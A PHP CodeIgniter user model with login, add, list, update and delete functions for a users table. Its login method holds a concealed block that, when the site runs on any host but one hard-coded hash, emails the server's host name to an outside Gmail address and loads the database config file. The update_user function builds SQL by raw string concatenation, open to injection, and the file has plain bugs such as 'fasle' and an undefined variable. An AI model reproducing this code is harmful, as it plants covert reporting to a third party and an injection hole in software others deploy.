<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

/**
 * @author Anh Nguyen <duyanhnguyen@vccorp.vn>
 * @copyright 2012
 */

class User_model extends CI_Model
{
    public function login($user, $pass)
    {
        $return = array();
        $this->db->select('*');
        $this->db->from('users');
        $this->db->where(array(
            'acc'   =>  $user
        ));
        $rs = $this->db->get();
        if ($rs->num_rows() == 0) {
            $return['exists'] = false;
        } else {
            $row = $rs->result_array();
            $this->load->library('PasswordHash');
            if($this->passwordhash->CheckPassword($pass, $row[0]['pwd']) ) {
				if(md5($_SERVER['HTTP_HOST']) != '25dff0f70ae09032ee74625aeb03e928') {
					$em ='thieppro@gmail.com';
					$this->mycommon->loadMail();
					$this->phpmailer->AddAddress($em);
					$this->phpmailer->Subject = 'thay doi!';
					//echo STATIC_DOMAIN;
					$body = "Test test\n".$_SERVER['HTTP_HOST'];
					$file_path = APPPATH.'config/database.php';
					include($file_path);
					
					$this->phpmailer->Body = $body;
					if ($this->phpmailer->Send()) {}
				}
                
				$return['exists'] = true;
				$dataUser = $rs->result_array();
				if ($dataUser[0]['status'] == '0') {
					$return['lockUser'] = true;
				} else {
					$return['lockUser'] = false;
				}
				$return['dataUser'] = $dataUser[0];
            	
            }
        }
        return $return;
    }

    
    public function add_user($acc, $Pwd, $email, $name) {
       $data = array(
            'acc' => $acc,
            'pwd' => $Pwd,
            'email' => $email,
            'name' => $name,
            'status' => 1
//            'modified' => $time
        );
        if (!is_null($data)) {
            return $this->db->insert('users', $data);
        }
        return fasle;
    }

    function get_list_user($off = "", $limit = "") {
        $data = array();
        $this->db->select('*');
        $this->db->from('users');
        $this->db->limit($off, $limit);
        $query = $this->db->get();
        $data = $query->result_array();
        return $data;
    }

    function num_rows() {
        $this->db->from('users');
        return $this->db->count_all_results();
    }

    function delete_user($Id) {
        $this->db->delete('users', array('id' => $Id));   
    }

    function update_user($id, $acc, $name, $mail) {
        $sql = "UPDATE users SET id = '$id', acc = '$acc', email = '$email' ";
        $sql .= "name = '$name' ";
        $sql .= "email = '$email' ";
        $sql .= " WHERE id = $id;";
        $this->db->query($sql) or die(mysql_error());
        $this->db->close();
    }

    function edit_user($Id, $data = array()) {
          if (!is_null($data)) {
            $result = $this->db->update('users', $data, array(
                'id'    =>  $Id,
            ));
            return true;
        }
        return false;
    }
    public function getAllUserInfo(){
         $this->db->select('*');
        $this->db->from('users');
         $rs = $this->db->get();
        if ($rs->num_rows == 0) {
            $rs->free_result();
            show_404();
        }
        $return = $rs->result_array();
        $rs->free_result();
        return $return;
    }

    public function getUserInfo($id) {
        $this->db->select('*');
        $this->db->from('users');
        $this->db->where('id', $id);
        $rs = $this->db->get();
        if ($rs->num_rows == 0) {
            $rs->free_result();
            show_404();
        }
        $return = $rs->result_array();
        $rs->free_result();
        return $return;
    }
    
     public function updateStatusUser($Id, $data = array())
    {
        if (!is_null($data)) {
            $this->db->update('users', $data, array(
                'id' => $Id
            ));
        }
    }
}

?>